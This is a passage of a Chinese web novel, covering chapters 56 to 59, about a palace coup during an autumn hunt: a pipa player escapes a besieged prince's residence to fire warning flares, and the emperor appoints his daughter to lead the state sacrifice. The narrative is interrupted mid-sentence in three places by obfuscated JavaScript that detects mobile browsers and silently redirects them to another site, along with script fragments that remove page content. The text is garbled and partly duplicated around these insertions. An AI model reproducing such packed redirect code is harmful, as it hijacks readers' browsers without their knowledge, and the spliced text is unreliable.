“听说是有胡人的细作混进了京中,驻城军要抓细作。可我想,即便是抓细作也用不了这么大的阵仗啊。” 为首的坊主蹙着眉头,情况危急,恐有事端,便思索着如何将这件事传给六皇子刘赞。 打探消息那人看向沈韵,道:“阿韵,我回来的时候路过秦王府那条街道,秦王府被围成铁桶一般,那里的驻城军比别处要多上数倍。我一想那秦王妃不就是胡人吗?她身边还有一众从大胡那边带过来的侍从,会不会此事与她有关啊?” 说罢,又补充道:“听说这次是驻城军奉的皇后的口谕。” 沈韵疑惑:“皇后?皇后不是已经疯了吗,她怎么传的口谕呢?” “所以才觉得怪啊。” “你们还记不记得那次,就秦王做质子那次,也是这样的全城戒严,禁止走动。我们一家五口守在家里等了数日,才知道是胡人的军队来了,你们说,这次是不是也和上次一样?” 一说起这个,众人都心有余悸,当年胡人的军队进城之后,烧杀劫掠,当时她们都只不过是几岁的孩童,最大的也就才十岁出头。 坊主见众人一个个的都抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274252|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着胸口后怕不已,忙出来安慰大家:“如今天下太平,哪里还会发生像先前那样的事儿?别急别急,过几日等收到主子消息再看看吧,我们也别自己吓自己了。” “对对对,如今我们大江国力强盛,断然不会再发生上次的事情了。” 听此一言,众人均互看一眼,暂且心安,但眼中还是藏不住的害怕。 沈韵怔怔地跟随着众人散去,但心中久久不能平静。 在她年幼之时,就曾经历过胡人兵临城下的景象,那时也是这样的全城戒严,高门权贵们纷纷出城逃命,只留下一城的底层百姓苦苦挣扎。 如今越想越觉得心中不安,虽说秦王妃还朝是胡人的公主,可她祖上是汉人的和亲公主的血脉,身体里有一半流淌的都是汉人的血,况且这些天同她相处来看,她很是亲近大江,行事举止皆与大江女子无异,断然不会是细作的。 可她……若是被诬陷呢? 想到这儿,沈韵察觉到有丝不对劲,想及秦王妃还朝即将临盆,若真的乱了起来,只怕她一个大着肚子的妇人行动不便,即便是身为秦王妃,只怕也不好过。 再者,女子产子本就是鬼门关上走一遭,如今这情形,岂不是会要了她的命? 不行,秦王妃不能有事。 沈韵思定,忙背起最爱不释手的那把琵琶便要出门。 “阿韵,你去哪儿?外面还乱得很呢!” “我去秦王府看看,去去便回,你们不必担心。” 众人见拦不住沈韵,便也作罢,只能在心里默默为她祈祷,希望她能平安回来。 沈韵抱着琵琶,一路上只敢走在暗处,亦趋亦走地来到秦王府,幸而今日街上的驻城军比昨日要少了许多,她才能安然抵达秦王府附近。 果真如坊中姐妹所说,秦王府的看守比别处要严上许多,如此这般,不就是说明与秦王妃还朝有关吗? 沈韵急得直跺脚,她记得这几日秦王带兵去京郊剿灭山匪去了,不在京中,那王妃可如何是好? 沈韵低头看了眼手中抱着的琵琶,心中有了主意,深吸一口气之后,摘掉头上带着的斗笠,强撑着打颤的双腿,佯装镇定自若地走到秦王府前。 看守的士兵见有人不长眼地过来,忙拦下驱赶:“你是什么人?回去!不得靠近。” 沈韵冲士兵们盈盈一拜,身姿如弱柳扶风一般,面上带笑道:“哥哥们,我是奉秦王殿下之命,日日为王妃弹奏演乐助兴的。” 士兵们对视一眼,有些狐疑,依旧不肯放行。 正僵持之际,王府内的仆从们见到沈韵,欣喜不已,忙出言解围道:“沈姑娘,你来了!王妃等你好久了。” 而后又朝着看守的士兵呵斥道:“你们不让我们出去也就罢了,如今这沈姑娘来了你们也不让进吗?” “你们可知她是谁?她是秦王殿下亲自指派给王妃安胎的,有她在,王妃才能顺心些,你们如今耽误了她,若是王妃有什么好歹,你们都担当得起吗?” “皇后只说让你们看守秦王府,可没说别的吧?若是王妃身体不适,来日上头推脱怪罪下来,你们担当得起吗?” 56. 秋猎祭祀(六)传递消息 看守的士兵见状,面面相觑,又上下打量一番沈韵,身姿柔弱,不过一弱女子,想来放她进去也不会出什么事的,思虑再三后,不得已放行。 待沈韵进去之后,又顿觉不妥,忙派人将此事报与蔡桐知晓。 王府的仆从边带着沈韵前去后院,边将此时的情形说与沈韵听:“沈姑娘,不知怎的,一夜之间王府外面竟被围得水泄不通,我们府里的人也无法出去,个个都急得不行。” 沈韵皱着眉,将外面的情形一一说明,而后关切问道:“王妃可还安好?” “王妃此时还好,我们……并不敢将此事说与王妃听,怕她担心动气。” 沈韵点点头,心中也纠结不已,到底要不要将此事说与王妃听。 王妃还朝见沈韵来了,脸上有几分欣喜,嗔怪道道:“阿韵,你这几日怎么都不来看我?” 而后长吁一口气:“阿韵,我这几日不知为何,总是胸闷得很。” “你说,该不会是王爷他……” 这几日都不曾没收到秦王刘茂的消息,还朝心中很是不安。 还朝瞥见沈韵怀中还抱着琵琶,有些疑惑,如今还是太子丧期,京中禁止演乐,先前阿韵过来从不曾带着琵琶的,怎么今日竟忘了不成? 沈韵放下琵琶,快步走到王妃身边,见王妃虽面露愁色,但气色还算好,这才长舒一口气,遮掩安慰道:“王妃,想必你这是即将临盆了。秦王殿下他吉人自有天象,如今带兵去剿灭山匪已有数日,很快就回来了。” 还朝抚了抚胸口,一脸愁色道:“我总感觉很不对劲,总感觉外面乱糟糟的。我问了身边的人,他们只告诉我没事,阿韵,你才从街上过来,你告诉我,外面到底怎么回事?” “这……”沈韵见众人均露出担心之色,纷纷摇头示意她不要说,慌乱地垂下头,决意同众人一样,继续遮掩下去。 还朝见沈韵如同身边人一样遮遮掩掩瞒着自己,当即脸上带了些愠色:“阿韵!” 随即便感觉到腹中一阵抽动,连忙捂着肚子。 周围人见状,纷纷惊出一身冷汗。 沈韵咬了咬嘴唇,犹豫再三,如实道:“城门封闭,街上禁行,全城戒严,说是要抓细作。秦王府更是被围得死死的。” “全城戒严?这是从没有过的事。”众人闻言皆是一惊,她们只以为是秦王府被围住了,不曾想京城竟然都戒严了。 还朝察觉到一丝不对劲,问道:“是谁下的令?贵妃娘娘吗?” 承道帝携诸位皇子皇女们去万安山祭祀,皇后疯癫被幽禁于长秋宫,京城与皇宫的一切事由交给贵妃打理。 贵妃可是秦王的亲生母亲,封禁京城,封禁秦王府,贵妃不会一点风声都不给她透露的啊,到底发生了什么?要抓什么细作? 沈韵摇头道:“与贵妃娘娘无关,听说是蔡桐奉的皇后口谕。” “蔡桐?皇后?”还朝喃喃一声。只怕事情不似表面上看得这么简单,皇后疯癫了,哪里能传得了什么口谕呢?更何况京城的事务是由贵妃打理的。 忽然间,还朝想起先前她的叔父抢夺汗位之时,也是用得这一招,先开始说是要查什么人,将所有人都禁足不得走动,而后又在瞬息之间夺了汗位,即便是有人不情愿,可新汗已立,事情已成定局。声东击西这一招,与蔡桐这手段如出一辙。 还朝惊呼一声:“不好,只怕有大事要发生。” 想到这儿,还朝忙安排道:“阿韵,既然秦王府被封禁,只怕我们这些人都出不去。他又是打着捉细作的名头,我身边诸人,都是远道而来,非江朝的子民,想来是奔着我们来的,我们是不可能出去了。” “现下既然你进得来,想必他们还未曾有警惕,我估摸着你也能出的去。” “你此时快去京外,寻得秦王殿下,京中不稳!” “不!”还朝刚说完,便想到城门紧闭,只怕沈韵一时也出不去,眼珠慌乱地转了一圈又一圈,想起刘茂临行前交给她的信号弹,命人取来交给沈韵:“阿韵,你将这些带出去,到没人的地方,将这三只拉响,殿下看到,便会知晓京中的情况。” 沈韵担忧道:“可是王妃你——” “我没事,殿下临走前将他身边的精兵强将都留给了我,以备不时之需,眼下就在府中藏着呢。即便是蔡桐带兵冲进来,我们也能抵挡一阵,扛到殿下回京即可。” 还朝忧心道:“倒是你,要格外注意安危才是。” 即便是沈韵能放得了信号弹,传递了消息,可刘茂赶回京的速度再快,也快不过守在京中的蔡桐。 这……这可该如何是好? 沈韵双手覆在还朝手上,眼神坚定道:“王妃放心。” 当日沈韵一家因被牵连获罪入狱,幸而刘茂刘宁两兄妹出生时,承道帝大赦天下,沈韵因此才摆脱了牢狱之灾。 如今他的妻子他的孩子尚在危难之中,沈韵她又岂会退缩? 况且王妃素来可爱可敬,视她为知音,她又怎会袖手旁观?即便是她搭上这一条命,能救下王妃,也值了。 沈韵拿下信号弹,在府内众多仆从的护送之下,有着众人与看守士兵起的冲突做掩护,从看守不严的后门闯了出去。 秦王府的仆从们见沈韵逃了出去,相继松了口气,退回到府内,锁上后门。 沈韵入了秦王府的事惊动了蔡桐。 蔡桐得知消息后,怒骂道:“你们都是蠢货吗?太子丧期,国哀期间,禁止演乐,怎么可能会有一琵琶女进入秦王府弹琴奏乐呢?” “蠢货蠢货,我手下怎么会有你们这样的蠢货?” 说罢,重重一脚踢在下属心窝上。 下属不敢还嘴,因为接下来还有更蠢的话没说呢:“那琵琶女……自入府之后,至今未出。” 蔡桐闭上双眼,一记眼刀冷冷望向下属:“没出来那就去找啊!进府去找啊!去搜啊!” 下属战栗地跪在地上,忍着胸口的剧痛:“秦王府的人,都拦在门口,我们进不去。” 眼看着蔡桐情绪即将又要失控,忙找补道:“不过主子放心,我们都已经把秦王府外围得水泄不通了,我们进不去,他们也出不来。” 蔡桐闻言,冷哼一声,不再理睬。 不过,依着如今的情形,只怕秦王府会是一大变数,为此,蔡桐又抽出晋国公府的一些精锐兵力,又给秦王府加了一重看守。 如今的秦王府,即便是一只苍蝇,也别想再飞进去了。 沈韵回坊后,经过与坊中姐妹商量后,选中了京城南的一大片荒地。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274253|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你忘了,南边有一大片荒地,那里有一处乱葬岗,很少有人去的。” “对啊,那里是一大片荒地,周围也没什么遮挡,在京南的位置燃放信号弹,想必秦王一定能看到。” 如果万里无云的时候,就连万安山也能看到呢。 坊中另一个姐妹叹了口气:“是啊,不光秦王能看到,其他人也能看到,若城里派兵来抓我们怎么办?” “眼下最重要的就是,我们要怎么过去呢?” 说的也对,路上时不时便有巡逻的士兵,每走几步便会受到无休止的盘问。众人皆垂下头,默不作声。 思索再三,沈韵提议道:“既然那里是乱葬岗,那我便伪装成染病将死之人,你们用草席卷住我,把我丢在乱葬岗上就是了。” 坊中小姐妹一脸担忧,看向沈韵:“只是……那里偏僻荒凉,还……还瘆人得很。” 坊中的另一小姐妹当即哭唧唧道:“阿韵!乱葬岗很吓人的……你……还是不要去了。” 沈韵摇摇头,拒绝道:“我不怕。” “若是京中大乱,那将来的情形,只怕要比乱葬岗还要吓人。” “我也不怕,阿韵,我和你一同去。” 坊里跑堂的伙计也站出来道:“我也去。我是男子,我有劲儿,我给你们推车。再者,你们都是女子,大晚上的出门也不安全。” 沈韵看了几人一眼,应下:“好。” 听音坊的几人打定主意,便决定伪装成得了痘疫的样子,用草席将沈韵卷住,连夜推车将人送去乱葬岗。 才走出坊没几步,便被巡逻的士兵拦下盘问:“全城戒严,你们几个打扮得鬼鬼祟祟地要去哪儿?” 跑堂的伙计站出来赔笑道:“大老爷,我们坊里的这位姑娘得了痘疫,会传染人的,我们看她快不行了,就想着连夜把她拉到乱葬岗去。” “要不然她再待下去,大家都会被传染的。” 巡逻的士兵不是十分的相信,掀起草席的一角。 众人皆是倒吸一口气,幸亏她们为沈韵脸上画了数颗脓包。 士兵怕被传染,快速松手放下草席,催促道:“快走快走。” 众人见状,松了一口气,连忙头也不回地朝着京城南边的乱葬岗赶去。 三发信号弹升空,不止秦王刘茂看到了,就连远万安山,也看到了,更别提京城中的蔡桐了。 蔡桐凝视着空中还在燃烧的信号弹,久久不语。 六皇子刘赞近来心中不安,连日失眠,正抬头望天之际,便看到三颗信号弹升入空中。 虽不知是谁放的,可近来发生的事,京城之中除了蔡桐,还能有谁敢?蔡桐难道是要调集其他军队? 刘赞心急如焚,此时也顾不得许多,不论是谁放的信号弹,自己都要将这消息传递给大姐姐大哥哥,传递给父皇。 当即刘赞便命人将自己养在宫中的信鸽全数放飞:“飞吧飞吧,飞远些,飞高些,飞到万安山,飞到大姐姐身旁,飞到父皇身旁。” 京城之中刘赞的许多商铺见此情形,也纷纷放出信鸽。 蔡桐手下察觉到异常,连忙汇报道:“将军,京中各地乌压压地飞出好多鸽子,遮天蔽日的。” 蔡桐眯起眼睛,喃喃道:“鸽子?” 57. 秋猎祭祀(七)消息传开 事出反常必有妖。 蔡桐担心夜长梦多,怕万安山反应过来,便又加快了进程,带着手下的士兵把持住皇宫,准备与皇后里应外合。 不多时,便有下属来报:“京郊大营正有军队在往这里赶。” 蔡桐深知大事不妙,凭着皇后的印玺强行闯到宫里,来到长秋宫与皇后商议。 皇后早已换上朝服,不似先前那般疯癫的样子,穿戴整齐地坐在冷冷清清的正殿之上,等着蔡桐。 蔡桐慌张进殿,着急道:“姑姑,我已经围了京城,只是……不知是谁人发的信号弹,与城外的秦王通风报信。现下秦王正在往京城赶呢。” “此外,还有城里多地无缘无故飞出许多鸽子,手下的人打下来数只,脚上都带着这样的圆环。” 说着,蔡桐命人呈上那鸽子腿上的圆环。 皇后只看过一眼,便认出是六皇子刘赞养的鸽子,只怕这鸽子早已经飞到了万安山。 皇后深知承道帝早晚都要知道她如今的所作所为,他们瞒不了多久。想到此处,无力地闭上眼睛,睫毛忍不住颤抖几下。 此时皇后心中阵阵懊悔,懊悔自己那日神志不清,懊悔自己说话太过草率。 可开弓没有回头箭,只能硬着头皮继续往下走。 皇后斜眼看向蔡桐:“京城内、皇宫内已经控制住了吗?” 蔡桐回道:“已制住了。京城的驻城军曾归太子管,只需三言两语便可说服他们。” “宫内的羽林军看到姑姑的玺印,并未多言。” “唯有禁军,颇有微词,不过为首的那个统领已经成了我的刀下客,其他人倒是有眼力见,纷纷臣服于我,听我调遣。” “京郊还有候着一支刚支援过栾南的军队,虎符还在我手上,我想着若是万安山反应过来,也可叫他们先抵挡一阵。” 皇后听后,道了声“好”,随后闭上眼睛,静默良久,才开口道:“秦王府可围住了?” 蔡桐回道:“早就派人层层围住了,一个也跑不了。” 皇后又问道:“那秦王妃可抓到手了?” 蔡桐略显为难道:“秦王府内还藏有一批武艺高强的护卫,空生变故,不敢擅闯。” 皇后思索再三,道:“罢了,围住便可,不要再节外生枝了。” “召集羽林军与禁军,将留在宫里的妃子、皇子们统统都押到长秋宫来。” 皇后恨恨地叮嘱道:“尤其是贵妃张氏。” “姑姑放心。” 宫中形势严峻,容嫔察觉到异样,便手持长剑,带着六皇子刘赞、八皇子刘绥及其生母李美人一路逃到了云清宫。 一路走来,容嫔都蹙着眉头,待见到贵妃之后,关切问道:“娘娘,宫里的守卫由禁卫换成了直属于皇后的羽林军,可是娘娘的旨意?” 贵妃无奈地摇头:“我并不知。先前执掌六宫的权力移交给我时,陛下并未收回皇后的印玺,我也并无调动羽林军之权,不过是担个虚名罢了。” 江朝的规矩是这样的,皇后的长秋宫拥有属军,即羽林军,可凭皇后的印玺调动军队。 贵妃不在意道:“她一个疯子,还能闹成什么样子?且由着她闹去吧,皇后这个人,素来最是在意她的名声地位,难道她还能造反不成?” 如今这性情,只怕他们真敢造反。刘赞见贵妃还不知京中发生的这些事,忙道:“娘娘,宫内宫外都被围了,里面的消息传不出去外面的消息也进不来,娘娘,何时到过这种境遇?” 贵妃踱步思索片刻,不觉心中一惊,莫不是他们要造反? 可太子如今已,他们造反要推谁称帝?难道是他们颖州蔡氏要改朝换代不成? “她……她怎么敢的?” “谋逆犯上可是诛九族的,她怎么敢的?” 容嫔急道:“娘娘,眼下宫内宫外全都乱了,还望娘娘拿个主意定夺才是。” 贵妃得知皇后与蔡桐凭借着皇后玺印造反,京城已尽在他们手中,皇宫禁卫也换成了凭借皇后玺印宣调的羽林军,便知情况危急,吓得后退半步。 贵妃双眼无神,苦哼一声:“定夺?我如何定夺?我拿什么定夺?” 容嫔疑惑不已:“可陛下不是让娘娘统辖六宫吗?况且京中的安危皆由娘娘负责。” 说起这个,贵妃便气道:“当日皇后虽被封禁于长秋宫,可陛下并未夺了了她的印玺,她依旧还是皇后,依旧执掌皇后玺印,依旧有统帅羽林军之权。” 贵妃心如死灰道:“如今我只担了个虚名,皇后手上那可是实打实的兵权,她既然打定了主意要造反,又怎会顾忌陛下?而我又能做什么?” 李美人抱着八皇子刘绥,慌乱磕头祈求道:“娘娘,娘娘你想想办法啊,我不想死,我不想死。绥儿他还小,他也不能死啊!娘娘——” 贵妃眼神飘向李美人,任由李美人死死拽着她的裙角,有力无气道:“你以为我想死吗?” 六皇子刘赞站出来安慰众人,镇定道:“三位娘娘不用担心,我已飞鸽传书,这会想必消息已经传到父皇面前了。” 贵妃听后,暂且心安,瞬时有了底气,松了口气道:“那便等着陛下派兵来救我们吧。” “历来秋狝,都有军事演练,万安山驻兵良多,皇后蔡桐之流,成不了什么气候。” 众人听如此说,勉强安下心来,此刻她们要做的便是等,等待援军。 贵妃召集云清宫所有宫人聚集于大殿之上,封禁住云清宫的宫门,容嫔命宫人们拔下头上的发簪等锐利之物防身,静待援军。 八皇子刘绥年岁小,胆子也小,哪里见过这样的阵仗,没一会儿便浑身滚烫。 李美人一直抱着刘绥,感觉到刘绥身上越来越烫,急得眼泪直流,哽咽道:“姐姐,绥儿受惊了,身上发烫,怎么办,该怎么办啊?” 贵妃急道:“传御医!”话刚说出口,才反应过来此时非比寻常,外面都是叛军,去哪里找寻太医呢? 容嫔临危不乱,忙指挥宫人将刘绥抬到内室之中,先以凉水暂且来降温,其余人依旧守在大殿。 六皇子刘赞见此情形,有些怕,浑身止不住地打颤:“我们……我们能抵住吗?” 容嫔怒视着大门,坚定道:“一定会的。” 贵妃看着与刘宁年纪相仿的刘赞,爱怜地将他揽过来,抱着他轻声抚慰道:“不怕,不怕。” 贵妃紧紧握着容嫔的手,手心早已出了虚汗,虽说她知 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贵妃起身,整理过衣裙:“陛下离宫前,曾将皇后幽禁于长秋宫,宫中一应事由交由本宫打理,本宫何必要去什么劳什子长秋宫呢?” 贵妃的反应在蔡桐的意料之中,蔡桐也不与贵妃多废话,拔出长剑在手臂间的盔甲上摩得更锋利了一丝,而后目光全落在闪着寒光的长剑上,慢悠悠道:“也不知是贵妃娘娘的骨头与这把剑哪个更硬些。” 贵妃身子微微后仰,知道蔡桐这是在威胁她,可蔡桐手上有兵,她什么也没有,儿子如今又不在京城,援兵还不知什么时候会到,如今只有被威胁的份。 容嫔一边托住贵妃的后背,一边眼睛直直地盯着蔡桐,拔剑起身,将皇子嫔妃们挡在身后,剑指蔡桐,怒喝道:“你算个什么东西,也敢来威胁皇妃!” “哦?”蔡桐上前一步,身边的士兵也跟着上前一步,步步威压步步紧逼。 容嫔挡在贵妃身前,不得已退后一步。 “桐儿,不得无礼。” 贵妃眼眸微眯,听出了这是皇后的声音。 皇后走进宫来,徐徐道:“姐姐,我只是想与你叙叙旧,仅此而已。” “难道我们姐妹之间的情分还不至此吗?” 贵妃从容嫔身后走出,冷笑一声:“姐妹情分?你我之间还有什么姐妹情分可言?” “你我之间的姐妹情分早在你成为皇后之时便不复存在了。何苦你来此处假惺惺的呢?” 皇后哈哈大笑:“姐姐,我可是自始至终都深深地感激你呢,当年若不是你陷害我早产,我如今也当不了皇后。牧儿也成不了太子。” “我倒要在此多谢姐姐了。”说罢,皇后朝着贵妃惺惺作态地一拜。 贵妃冷哼一声,不屑道:“明明就是你,善用心机,怕我先于你生下皇子,怕我先于你坐上皇后的位置,用落轿一事来陷害我。” “只是没想到你偷鸡不成反蚀把米,以后都不能再生育了。哈哈哈哈哈哈!” 提及往事,皇后怒道:“我行事向来光明磊落,从不屑于用这种龌龊手段,行如此不堪之事。” “你没做过?” “你没做过这些你会成为皇后吗? “你的儿子会成为太子吗?” 58. 秋猎祭祀(八)商议平叛 皇后对天举誓,信誓旦旦道:“我敢对天发誓,我从未做过此事。” 贵妃听后乐了:“你拿什么起势?你的命?哈哈哈哈哈,拿你这个谋逆之人的命来起势,有何可信之度?我若是老天,听到都要笑死了。” “你若是要起誓,那便拿你最在意的儿子来起誓啊!” “你敢吗?” “我敢!我拿牧儿来起誓,我绝无做过此事!” 皇后咬着牙,头上的发钗随着她说话而颤动。 容嫔与蔡桐的眼神在贵妃与皇后身上来回转换。 贵妃紧紧盯着皇后,一步步走下台阶,她想看穿她,想看穿她是否在说谎,想看穿她所言是否句句属实。 容嫔担忧地喊了一声:“姐姐!” 皇后看到贵妃走下来,小跑两步,情真意切道:“姐姐,我话都说到这份上了,你还不愿意与我去长秋宫一叙吗?” “好。”贵妃心中也一直有个谜团。当年皇后早产一事,不是她做的,也不是皇后做的,那会是谁? 万安山上,有数只信鸽飞落。 英王刘元命人打了几只下来,待看到鸽子腿上戴着的腿环,联想到方才从京城中升空的三枚信号弹,再加上近来京中连日不传出消息来,心中甚是不安,忙命人传话给永安长公主刘安。 “长公主殿下,英王殿下有话要带来。” “不必多言,我亲自去找他。” 刘安也正为急着,金中堂本该前日就送到的消息,但今夜她还不曾收到,今夜空中又突然多了三颗信号弹,想到先前从父皇处得知蔡桐封禁京城的消息,顿觉更加不妙。 莫不是蔡桐在与城外的什么人传递消息?难道是栾南的诚王也来了?想着趁乱夺了皇位? 当日蔡桐封禁京城的消息传来,父皇多有纵容,虽刘安事后与刘元商议,深感不妥,可父皇之命又不可违背,他们二人也不便多插手。 可事到如今,只怕事态会失控。 刘安心急如焚道:“元弟,京中只怕已经乱了。” 刘元叹了口气:“方才我收到六弟养的信鸽了,便已知事态不妙。” “只是有些费解,蔡桐仅凭着晋国公府的府兵,即便是再加上颖州蔡氏的力量,也断断不可能在几日之内便将京城拿下。” “莫不是他还借助了旁人的力量?” 刘安知道是父皇的故意放纵才造成的如今局面,只是不知该如何与刘元说,只得道:“皇后被幽禁时,父皇并未下令收回她的皇后印玺。” “皇后印玺,可调动从属于皇后的羽林军与长秋宫属军。” 刘元恍然大悟,冷哼一声:“原来这其中还有皇后的手笔。” 提起皇后,刘元心中便有无穷的恨意,若不是她,自己也不会常年服药身体也不见好,若不是她,母亲也不会暴毙,若不是她…… 刘元气血上涌,竟从嗓子中涌上一口血来,但又怕刘安担忧,硬生生给咽了下去。 先前为着太子的缘故,并未对皇后赶尽杀绝。可事到如今,看来皇后是不能留了。 刘元紧紧攥着刘安的手,唇上染了从口腔里溢出的些许血迹,恨恨道:“她既然敢谋逆造反,那便断不可能轻饶了她。” “大姐姐,我们即刻去将这个消息告诉父皇。” 近来就快要进行承天祭祀大典了,今年的祭祀是父皇亲自操持举行,那平定京城叛乱之事,想来会落在四弟刘茂或是七弟刘昶身上。 四弟刘茂与皇后素有矛盾,绝不会轻轻放过。 七弟刘昶,自幼受他教诲,母妃容嫔又向来与贵妃交好,向来也不会倾向于皇后。 无论是谁平定皇后叛乱一事,都不会轻易放过。 如此,便遂了刘元的心意。 “父皇!” 刘安与刘昶二人来到承道帝处。 承道帝得知京中最新的消息后,便立即召集了万安山上的诸位皇室宗亲及重臣要臣们共同商议如何平叛。 “陛下,还有两日便要到九九的祭祀大典了,如今京城中出了这档子事儿,不知承天祭祀大典是否要延期?” “祭祀大典关乎国运,岂可轻易延期?” “可如今事发突然,谁又能未卜先知提前预料到呢?祭祀大典一旦开启,便不能轻易止住,陛下如今又要平叛京城,分身乏术啊。” “陛下,臣有一言,四皇子此时正在京郊剿灭山匪,与京郊大营最近,不如让四皇子前去平定叛乱,陛下也可安心祭祀。” 承道帝闭着眼睛,捏着眉心,一言不发。 如今皇后太子一脉失势,贵妃四皇子一脉势头颇猛,朝中不少大臣纷纷向四皇子靠拢,着急投靠新靠山。 承道帝本欲让颖州蔡氏与汀州张氏互斗,这些年间他们二族也是如此,斗得如火如荼,此消彼长,谁也不让谁,可自太子薨逝之后,汀州张氏的风头远胜过当时的颖州蔡氏,颇有一骑绝尘之势。 若这平叛交由秦王刘茂,岂不更助长了他的威势?日后汀州张氏一家独大,再无人与之制衡,这是承道帝绝不愿意看到的景象。 承道帝辛苦筹谋几十年,就为了将这些阻碍他的世家大族一网打尽,怎可再给他们起来的机会。 众臣子们见承道帝未发声,皆低头不语,揣摩着圣意,生怕自己哪句话说错了惹得承道帝不畅。 “陛下,七皇子刘昶,先前就曾在永济带兵,屡历大捷,颇有带兵领将之才能。依臣言,可使七皇子带兵平叛。” 话还未落,便有大臣站出来反驳:“七皇子年幼,经验不如四皇子,怎么让他单独领兵平叛?” “七皇子与四皇子相差不过四岁,怎会不如四皇子?再者,七皇子十四五岁时便带兵驻守永济城,四皇子那会儿还在做质子呢!” 群臣们越说越上头,越说越口不择言,竟忘了四皇子做质子一事是承道帝最不愿提及的。 承道帝睁开眼睛,冷冷地看着阶下扑通一声声跪下发抖的众人,开口道:“越说越放肆了。” 承道帝看向站在一旁的刘元,询问他的意见:“英王,你说眼下该如何做?” 观此情形,刘元怕引火上身,不敢多言,只推脱道:“一切全凭父皇做主,我……咳咳咳……” 承道帝皱着眉:“先前不是好了一些吗,怎的现如今倒严重了?” 刘元摆摆手:“父皇……咳咳咳……不妨事。” 承道帝看了眼众人,说出心中的想法:“既如此,那便由朕来指挥,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274255|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子刘茂与七皇子刘昶,二人各带一队兵马,进京平叛。” “可是陛下,过两日便是祭祀大典了……” 承道帝胸有成竹道:“两天时间,足够平叛京城了。” 若是平叛了京城,便是大功一件,如今哥哥便是诸位兄弟之中独一份的了,若是有了平叛京城之功,即位便指日可待了。 刘宁迫不及待站出来道:“父皇,儿臣年少习武,自认有一身本领,不如让儿臣同去。” “允。”承道帝点点头,应下:“今日之事便商议到这儿。” 承道帝摆手屏退众人,独独留下刘安一人。 刘安不明所以,心中忍不住打鼓。 待殿中仅剩下承道帝与刘安两人,承道帝缓缓开口道:“安儿,近些年,颖州蔡氏一族的所作所为,人神共愤,可碍着太子,朕不好贬斥他们。如今蔡桐伙同皇后谋逆叛乱,朕本想着,要让京中乱上一乱,好将颖州蔡氏一网打尽。” “可按下颖州蔡氏,便会再有汀州张氏再浮上来。若汀州张氏再如颖州蔡氏这般,只恐新帝难以继任。” 刘安听得承道帝这么说,心中疑虑,莫不是父皇已经选定了继承人? “自太子走后,朕心力日渐交瘁,深感力不从心,祭祀大典一连七日,只怕有心而无力。” “然则祭祀大典之人,关乎立储一事,不可轻易选定。” “朕斟酌良久,决议让你,代朕祭祀。” 刘安瞪大了眼睛,不可置信地抬头看向承道帝:“父皇!” 祭祀之事,自古便没有女子代为祭祀的道理,即便是她身为父皇长女,可从古至今也没有这样的规矩啊。 “朕意已决。” “你,甚好。” 承道帝看向刘安,眼中满是希冀。 安儿甚好,正因她是女子,如今代他祭祀,便不会有人对未来新君过多揣测,也可最大限度地保护未来的新君。 正因她是女子,日后才可放心地将新君托付给她。 规矩向来都是人定的,既然先前没有这样的先例,那便由他来开创先例吧。 京中之乱,非一日可定,他也不想着快速平定,京中还留有不少世家大族的亲眷,需得让那蔡桐好好得杀上一杀,让他们再斗个你死我活,好好挫一挫他们的锐气。 “去吧。礼部会告诉你怎么做的。” 刘安垂着头,眼神晦暗不明,并未多说什么,缓缓退下。 祭祀之重,父皇不会不知,历来凡是代为祭祀者,都是储君,可她刘安身为女子,这皇位又落不到她手上,父皇为何执意要她代为祭祀呢? 况且她先前并未曾经历过这些事,若是搞砸了可怎么好?岂不影响国运? 刘安心中乱如麻,可眼下又没别的法子,只得依着承道帝行事,暂且先跟着吴善辅前去找礼部尚书周述。 周述捧着祭祀典仪上要用的龙袍,跪在刘安面前:“殿下,这便是陛下祭祀时所需穿着的龙袍。” 周述顿了顿,继续道:“只是事发突然,尺寸是陛下的身形。” 刘安的目光被龙袍所吸引,并不在意这些,盯着龙袍,情不自禁地抚摸上去,心情复杂,不曾想有朝一日这龙袍竟然会穿在她身上。 59. 秋猎祭祀(九)入京平叛 礼部尚书周述看着永安长公主穿上龙袍,不由得赞道:“长公主殿下这气度神韵,倒真有几分像陛下了。” 刘安对着镜中的自己细细打量,端详起镜中的自己,虽说这龙袍有些不合身,可穿在身上,被权力紧紧包裹住,也没什么合不合身的了。 “如今殿下着衮服,戴冕旒,代陛下行祭祀之礼,殿下此时身份便是陛下,只有一点,殿下如今只是形似,若论神似……殿下神态倒是有些拘谨。” 